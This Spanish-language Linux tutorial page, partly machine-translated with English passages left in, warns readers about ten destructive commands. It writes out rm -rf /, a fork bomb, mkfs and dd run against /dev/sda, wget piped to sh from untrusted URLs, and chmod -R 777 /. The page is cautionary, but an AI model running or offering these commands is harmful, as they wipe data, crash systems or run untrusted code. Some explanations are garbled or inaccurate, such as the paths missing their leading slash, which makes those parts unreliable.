GNU/Linux >> Tutoriales Linux >  >> Linux

10 comandos mortales que nunca deberías ejecutar en Linux

El sistema operativo Linux brinda a sus usuarios más independencia en comparación con Windows o cualquier otro sistema operativo. Si bien para algunos desarrolladores experimentados, el sistema operativo Linux brinda libertad para realizar operaciones, también podría estropear la libertad brindada a estos desarrolladores. Si bien cada tecnología tiene sus pros y sus contras, Linux también. Es de suma importancia que el usuario tenga una amplia comprensión de los comandos seguros y mortales antes de ejecutarlos. Aquí, vamos a discutir los comandos mortales que nunca debe ejecutar sin una comprensión completa de lo que significan.

1. Eliminación recursiva

Una de las formas más rápidas de eliminar una carpeta y su contenido es el comando rm -rf. Ha ganado popularidad a lo largo de los años, ya que ha superado el error que enfrentaba Windows cuando se eliminaba un archivo o una carpeta. Este comando borra todo el archivo, la carpeta o el disco duro en el que se ejecuta. Analicemos el comando y comprendamos lo que realmente significa:

rm:elimina todos los archivos en las ubicaciones dadas

-rf:este comando se divide en dos partes:r y f. r significa eliminar todos los archivos de forma recursiva, mientras que f significa una fuerza, lo que significa que elimina todos los archivos sin preguntarle al usuario.

Hay una serie de variaciones de este comando disponibles en Internet. Es importante comprender que uno debe saber qué hace un comando una vez que se ejecuta en una carpeta específica o los datos se pueden perder. Los datos perdidos con este comando no se pueden recuperar de ninguna manera.

  • rm – Este comando se usa para eliminar archivos todos los archivos en la ruta que proporcionará
  • rm -r:este comando se usa para eliminar archivos de forma recursiva de todos los directorios y subdirectorios en el sistema operativo Linux.
  • rm -f – Este comando se usa para eliminar archivos en la ruta proporcionada sin preguntar al usuario. Esto también incluye la eliminación de los "Archivos de solo lectura".
  • rm -rf / – Este es uno de los comandos más peligrosos ya que / se refiere al directorio raíz del sistema operativo. Una vez que se ejecuta este comando, elimina todo el contenido del directorio raíz de forma forzada y recursiva. Por lo tanto, todos sus directorios y subdirectorios se eliminarán y los datos se perderán.
  • rm -rf * – Este comando elimina a la fuerza todos los datos en el directorio de trabajo
  • rm-rf. –  Este comando elimina a la fuerza los archivos del directorio de trabajo actual, así como los subdirectorios. También elimina todos los archivos de configuración del directorio.

2. Bomba Tenedor

Como Linux opera en Bash, por lo tanto, es importante comprender qué le hará el comando a su sistema antes de ejecutarlo. Esta es una función bash simple que, una vez ejecutada, crea copias de sí misma que, a su vez, crea otro conjunto de copias de sí misma. Esto consume tiempo de CPU y memoria. Por lo tanto, se ejecuta recursivamente hasta que el sistema se congela.

:(){:|:&};:

3. Sobrescribir disco duro

Si ejecutó el siguiente comando por error o accidentalmente en su disco duro, entonces la recuperación es bastante imposible.

command > dev/sda
This command writes raw data to the hard drive mentioned. This results in data loss in the hard drive or partition mentioned in the command. Let's break down the command into sections in order to understand what each of the section does.
command - This can be any command entered by the user

> - This is responsible for sending the output of the command to the location entered

dev/sda - The output of the command will be written to this location

Thus, you should know what that command will do to your operating system and hard drive before executing it. Moreover, be careful about using commands which include your hard drive locations such as dev/sda.

4. Implosión de disco duro

Como dice el dicho "Hay más de una forma de despellejar a un gato", hay más de una forma de destruir tu disco duro. En cada sistema Linux, dev/null es una ubicación especial que se denota como un agujero negro. Cualquier cosa que se mueva a este agujero negro se destruye. Si accidentalmente movió sus datos a esta carpeta, sus datos no se recuperarán de todos modos.

mv /home/root/*  dev/null

El comando mencionado anteriormente mueve todos los datos en la carpeta de inicio/raíz al agujero negro, lo que resulta en la pérdida de datos. Analicemos el comando para entender lo que hace cada sección.

mv - This command is used for moving a folder to another location

/home/root/*:esta es la ubicación de la carpeta que se va a mover

dev/null:una ubicación especial denominada agujero negro

Por lo tanto, debe tener cuidado al ejecutar el comando de movimiento. Asegúrese de que la ubicación a la que está moviendo su carpeta exista en el sistema.

5. Descargar script malicioso

Todos somos conscientes de los beneficios del comando "wget" en Linux, pero lo que no sabemos es que puede descargar scripts y virus maliciosos, así como software beneficioso. Si por casualidad ha ejecutado uno de los siguientes comandos, entenderá de qué se trata.

wget http://malicious_source -o- | sh
wget http://example.com/something  -o- | sh -
wget http: //an-untrusted-url -o- | sh

Los comandos mencionados anteriormente descargan el contenido de la URL proporcionada y ejecutan el script descargado.

6. Formatear disco duro

Hay otro comando para limpiar su disco duro y hacerlo nuevo. Estos solo deben usarse en casos en los que tenga una copia de seguridad de sus datos en la nube o en un dispositivo externo.

mkfs.ext3 /dev/sda

Ejecutar este comando es idéntico a ejecutar un formato completo en la unidad C en Windows en el que todo el archivo se borrará de la unidad y estará listo para una nueva instalación. Para que te sea más fácil de entender. Analicemos este comando.

mkfs.ext3 - This creates a new ext3 file system on the hard drive.
dev/sda - This specifies the first partition on the hard drive.

Juntos, cuando se ejecuta este comando, formatea la partición especificada en el disco duro y la vuelve a formatear de acuerdo con el sistema de archivos especificado que es ext3 en el comando mencionado anteriormente. Por lo tanto, es muy importante comprender lo que hace el comando antes de ejecutarlo en su sistema y perder todos los datos.

7. Vaciar el contenido del archivo

El comando para vaciar el contenido del archivo es fácil y se puede ejecutar en cualquier instancia.

>file

Si alguna vez ha ejecutado algún comando con el tipo mencionado anteriormente, habrá visto que el contenido del archivo especificado debe haber sido vaciado. “>” es responsable de vaciar el contenido del archivo, por lo tanto, verifique dos veces el comando que está ejecutando.

8. Editar comando anterior

Este mandato es una bendición y una maldición. Si bien hace que sea más fácil no escribir todo el comando anterior nuevamente y ejecutarlo, también puede infundir contenido malicioso en su comando ejecutado anteriormente. Por lo tanto, es necesario asegurarse de que sea adecuado para usted utilizar este comando.

^foo^bar

9. Escribir basura aleatoria en el disco duro

Si alguna vez se ha encontrado con el comando mencionado a continuación, entonces felicitaciones, es posible que también haya visto basura aleatoria escrita en su disco duro si está lo suficientemente loco como para ejecutar este comando. Los efectos secundarios de este comando son que su sistema no se recuperará.

dd if=/dev/random of=/dev/sda

10. Mod -R 777/

Este comando no afecta físicamente a su sistema como lo hacen todos los demás comandos, como se explica en cada sección, pero esto genera una brecha de seguridad en el sistema. Al ejecutar este comando, proporciona a todos los usuarios del sistema la posibilidad de leer, escribir y ejecutar datos en su sistema de archivos. Por lo tanto, use este comando sabiamente.

Espero que esta información detallada sobre los comandos mortales le impida perder los datos de su sistema. Háganos saber en la sección de comentarios a continuación si esto lo ayudó o no.


Linux
  1. 10 comandos que todo usuario de Linux debe conocer

  2. 10 comandos básicos de Linux que necesitas saber

  3. 5 comandos de Linux que nunca uso

  4. 3 comandos de Linux para apagar el sistema y podrás hacerlo fácilmente

  5. Tres comandos de Linux que nunca debes usar

10 comandos de Linux muy estúpidos [algunos de ellos mortales]

3 comandos de Linux que has olvidado

Cómo ejecutar varios comandos de Linux a la vez en la terminal de Linux

El comando Nohup en Linux le permite ejecutar comandos incluso después de cerrar sesión

20 comandos principales de Linux que necesitarás a diario

Los más de 50 comandos principales de Linux que DEBE conocer